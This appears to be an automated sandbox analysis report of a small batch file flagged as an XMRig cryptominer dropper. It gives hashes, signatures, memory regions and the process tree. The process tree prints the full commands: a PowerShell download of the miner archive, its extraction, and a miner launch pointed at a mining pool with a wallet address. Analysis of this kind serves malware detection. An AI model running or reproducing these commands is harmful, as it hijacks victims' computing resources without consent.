Analysis

  • max time kernel
    1793s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 07:19

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4584
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3892
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5052

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          56efdb5a0f10b5eece165de4f8c9d799

          SHA1

          fa5de7ca343b018c3bfeab692545eb544c244e16

          SHA256

          6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

          SHA512

          91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          e569c9d33ca87efa160bd3f49b7c2416

          SHA1

          27014ef8c20138a4c70003d8f63d25fb36b28d8b

          SHA256

          d911f4c3d352968a527d5c5ba0cf67b755cd43e7764842a1b17f282865de8003

          SHA512

          39e0342035e59b49b0036f8204f30f84ff5dd5699e78afd7e03078365d014a369be3a551d8872dfd892015d926109bdf44c5bf259cbb358ffd640ad4158915f1

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_onuyf0rk.qft.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          3KB

          MD5

          1f0b189250501dc1dbac90b4e8c3aaf0

          SHA1

          f5091fb0bca0c4876ee03d659f1b53c01da28046

          SHA256

          33cf348e2780e774d8d2f894a6043cdd94d29a90a6209dcc6789a2d2c9f0c46e

          SHA512

          e30c2a0091061b1b05433de86580363b59cd9904e35a70ea20eeb6fd0f850baa9b42e0199736528072d75b90a23bc8eb7026feb698570a7ad58dfef120bba1ba

        • memory/3084-4-0x000001ED1EE10000-0x000001ED1EE32000-memory.dmp

          Filesize

          136KB

        • memory/3084-5-0x00007FF843FD0000-0x00007FF8449BC000-memory.dmp

          Filesize

          9.9MB

        • memory/3084-7-0x000001ED1ED20000-0x000001ED1ED30000-memory.dmp

          Filesize

          64KB

        • memory/3084-10-0x000001ED1EF40000-0x000001ED1EFB6000-memory.dmp

          Filesize

          472KB

        • memory/3084-6-0x000001ED1ED20000-0x000001ED1ED30000-memory.dmp

          Filesize

          64KB

        • memory/3084-25-0x000001ED1ED20000-0x000001ED1ED30000-memory.dmp

          Filesize

          64KB

        • memory/3084-26-0x00007FF843FD0000-0x00007FF8449BC000-memory.dmp

          Filesize

          9.9MB

        • memory/3084-27-0x000001ED1ED20000-0x000001ED1ED30000-memory.dmp

          Filesize

          64KB

        • memory/3084-28-0x000001ED1ED20000-0x000001ED1ED30000-memory.dmp

          Filesize

          64KB

        • memory/3084-29-0x000001ED1ED20000-0x000001ED1ED30000-memory.dmp

          Filesize

          64KB

        • memory/3084-34-0x00007FF843FD0000-0x00007FF8449BC000-memory.dmp

          Filesize

          9.9MB

        • memory/3892-41-0x000001A3F5060000-0x000001A3F5070000-memory.dmp

          Filesize

          64KB

        • memory/3892-39-0x00007FF843FD0000-0x00007FF8449BC000-memory.dmp

          Filesize

          9.9MB

        • memory/3892-42-0x000001A3F5060000-0x000001A3F5070000-memory.dmp

          Filesize

          64KB

        • memory/3892-66-0x000001A3F5060000-0x000001A3F5070000-memory.dmp

          Filesize

          64KB

        • memory/3892-93-0x000001A3F4FF0000-0x000001A3F4FFA000-memory.dmp

          Filesize

          40KB

        • memory/3892-80-0x000001A3F53F0000-0x000001A3F5402000-memory.dmp

          Filesize

          72KB

        • memory/3892-117-0x00007FF843FD0000-0x00007FF8449BC000-memory.dmp

          Filesize

          9.9MB

        • memory/5052-120-0x0000019C71B90000-0x0000019C71BB0000-memory.dmp

          Filesize

          128KB

        • memory/5052-121-0x0000019C71BE0000-0x0000019C71C00000-memory.dmp

          Filesize

          128KB

        • memory/5052-122-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-123-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-125-0x0000019C71C00000-0x0000019C71C20000-memory.dmp

          Filesize

          128KB

        • memory/5052-124-0x0000019C71C20000-0x0000019C71C40000-memory.dmp

          Filesize

          128KB

        • memory/5052-126-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-127-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-129-0x0000019C71C00000-0x0000019C71C20000-memory.dmp

          Filesize

          128KB

        • memory/5052-128-0x0000019C71C20000-0x0000019C71C40000-memory.dmp

          Filesize

          128KB

        • memory/5052-130-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-131-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-132-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-133-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-134-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-135-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-136-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-137-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-138-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-139-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-140-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-141-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-142-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-143-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-144-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-145-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-146-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-147-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-148-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-149-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-150-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-151-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-152-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-153-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-154-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-155-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-156-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-157-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-158-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-159-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-160-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-161-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-162-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-163-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-164-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-165-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-166-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-167-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-168-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-169-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-170-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-171-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-172-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-173-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-174-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-175-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-176-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-177-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-178-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-179-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-180-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-181-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-182-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-183-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-184-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-185-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-186-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-187-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB

        • memory/5052-188-0x00007FF7F52E0000-0x00007FF7F5DE3000-memory.dmp

          Filesize

          11.0MB